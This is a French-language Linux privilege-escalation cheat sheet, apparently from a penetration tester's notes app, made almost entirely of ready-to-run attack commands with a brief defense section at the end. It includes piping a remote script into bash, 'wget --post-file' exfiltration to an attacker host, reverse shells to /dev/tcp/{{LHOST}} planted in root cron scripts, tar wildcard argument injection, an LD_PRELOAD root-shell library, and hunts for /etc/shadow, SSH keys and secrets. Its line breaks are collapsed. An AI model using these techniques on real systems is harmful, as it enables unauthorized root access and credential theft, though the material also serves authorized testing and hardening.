privesclinuxsuid
MDstable
Linux PrivEsc — SUID, Sudo, Cron, Capabilities
Élévation de privilèges Linux : SUID/SGID, sudo misconfig, cron jobs, capabilities, NFS, LinPEAS
snippetadvanced 2026-05-14 5 min read
privesclinuxsuidsudocroncapabilitiesnfslinpeasgtfobins
Reconnaissance initiale
bash
# Contexte actuelid && whoami && hostnamecat /etc/passwd | grep -v "nologin\|false"cat /etc/os-release && uname -a# LinPEAS — énumération complètecurl -sL https//github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash# Ou en local/linpeas.sh 2>/dev/null | tee linpeastxt# LinEnum/LinEnum.sh -r report -e /tmp/ -t
SUID / SGID
bash
# Trouver tous les binaires SUID (Set User ID)find -perm -4000 -type f 2>/dev/nullfind -perm -u=s -type f 2>/dev/null# SGIDfind -perm -2000 -type f 2>/dev/null# Exploiter via GTFOBins (https://gtfobins.github.io/)# Rechercher le binaire SUID dans GTFOBins → section SUID
Exploits SUID courants (GTFOBins)
bash
Variables
{{LHOST}}
# bash SUID/bin/bash -p # -p = preserve EUID → shell root# find SUIDfind -exec /bin/sh -p ; -quit# nmap SUID (ancienne version)nmap --interactivesh# vim / vi SUIDvim -c ':!/bin/sh'# python SUIDpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'# cp SUID → copier /etc/shadow pour crackercp /etc/shadow /tmp/shadow_copy# wget SUID → écraser des fichiers systèmeecho "root::0:0:root:/root:/bin/bash" > /tmp/passwdwget --post-file=/tmp/passwd {{LHOST}} # exfil
Sudo Misconfiguration
bash
# Lister les règles sudosudo -l# (ALL : ALL) NOPASSWD: ALL → sudo su directementsudo susudo /bin/bash# Sudo sur un binaire spécifique# (root) NOPASSWD: /usr/bin/vimsudo vim -c ':!/bin/bash'# (root) NOPASSWD: /usr/bin/findsudo find -exec /bin/bash ;# (root) NOPASSWD: /usr/bin/python3sudo python3 -c 'import pty; pty.spawn("/bin/bash")'# (root) NOPASSWD: /usr/bin/awksudo awk 'BEGIN {system("/bin/bash")}'# (root) NOPASSWD: /usr/bin/lesssudo less /etc/passwd/bin/bash # dans less# (root) NOPASSWD: /usr/bin/gitsudo git -p help config/bin/bash # dans le pager# (root) NOPASSWD: /usr/bin/nanosudo nano /etc/sudoers # ajouter sa propre règle# Ou éditer /etc/passwd pour remettre root sans mot de passe
Sudo env_keep — hijack LD_PRELOAD
bash
# Si sudo -l montre : env_keep+=LD_PRELOAD# Créer une bibliothèque partagée malveillantecat > /tmp/preload.c << 'EOF'#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _initunsetenv"LD_PRELOAD";setgid0; setuid0;system"/bin/bash -p";EOFgcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c# Exécuter n'importe quelle commande autorisée avec LD_PRELOADsudo LD_PRELOAD/tmp/preload.so find
Cron Jobs
bash
# Lister les crontabscat /etc/crontabls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/crontab -l# Crontab de root ?sudo crontab -l 2>/dev/null# Surveiller les processus lancés (trouver les crons non listés)# pspy — moniteur de processus sans droits root/pspy64 # affiche les processus en temps réel avec UID/pspy64 -pf -i 1000 # + surveiller les fichiers, intervalle 1s
bash
Variables
{{LHOST}}
{{LPORT}}
# Cron écrit dans un fichier modifiable# Si root cron : * * * * * /opt/script.shls -la /opt/script.sh# Si writable → injecter un reverse shellecho '#!/bin/bash' > /opt/script.shecho "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" >> /opt/script.shchmod x /opt/script.sh# Attendre le tick de cron (max 60s pour * * * * *)nc -lvnp {{LPORT}}
bash
Variables
{{LHOST}}
{{LPORT}}
# Wildcard injection dans les crons tar/rsync# Si cron : tar czf /backup.tar.gz /data/*# Créer des fichiers avec noms spéciaux dans /data/touch /data/--checkpoint1touch "/data/--checkpoint-action=exec=bash shell.sh"echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" > /data/shell.shchmod x /data/shell.sh# Au prochain cron tar → exécute shell.sh en tant que root
Linux Capabilities
bash
# Trouver les binaires avec capabilities élevéesgetcap -r 2>/dev/null# Capabilities dangereuses :# cap_setuid+ep → peut changer d'UID → root# cap_net_bind_service → peut binder des ports < 1024# cap_dac_override → bypass des permissions fichiers# cap_sys_ptrace → injection dans des processus
bash
# python3 avec cap_setuid# /usr/bin/python3 = cap_setuid+eppython3 -c 'import os; os.setuid(0); os.system("/bin/bash")'# perl avec cap_setuidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'# ruby avec cap_setuidruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'# tar avec cap_dac_read_search → lire /etc/shadowtar -cvf shadowtar /etc/shadow 2>/dev/nulltar -xvf shadowtarcat etc/shadow
NFS — No Root Squash
bash
Variables
{{TARGET_IP}}
# Vérifier les exports NFS depuis l'attaquantshowmount -e {{TARGET_IP}}# /home/user *(rw,no_root_squash)# no_root_squash = root côté client = root sur le partage# Monter le partage NFSmkdir /tmp/nfs_mountmount -t nfs {{TARGET_IP}}/home/user /tmp/nfs_mount# Créer un binaire SUID bashcp /bin/bash /tmp/nfs_mount/bash_suidchmod s /tmp/nfs_mount/bash_suid# Sur la cible (user normal)/home/user/bash_suid -p # → root shell
Mots de passe et credentials
bash
# Historique bashcat /.bash_history | grep -E "pass|pwd|secret|mysql|psql|ssh"# Fichiers de config avec credentialsfind -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -li "password\|passwd\|secret" 2>/dev/null# Variables d'environnementenv | grep -iE "pass|secret|key|token"cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret"# SSH keys privéesfind -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
Défense
bash
# Audit SUID (retirer les SUID inutiles)find -perm -4000 2>/dev/null | while read f; doecho "SUID: $f"chmod u-s "$f" 2>/dev/null || echo "→ Impossible (binaire système)"done# Sudo minimal : éviter NOPASSWD sur des binaires GTFOBins# Ne jamais accorder : sudo vim, sudo less, sudo find, sudo python, sudo awk# Sécuriser les cronschmod 700 /etc/cron.d/ /etc/cron.daily/chown rootroot /etc/crontab# Ne jamais utiliser de wildcards dans les crons tar/rsync sans protection
💡 Tip —
GTFOBins (gtfobins.github.io) recense tous les binaires Unix utilisables pour escalader des privilèges. Pour chaque binaire SUID trouvé ou entrée sudo -l, vérifier d'abord dans GTFOBins — la majorité des binaires courants y sont répertoriés avec l'exploit exact.
OPS·BRAIN v1.075 notes · Securitylocal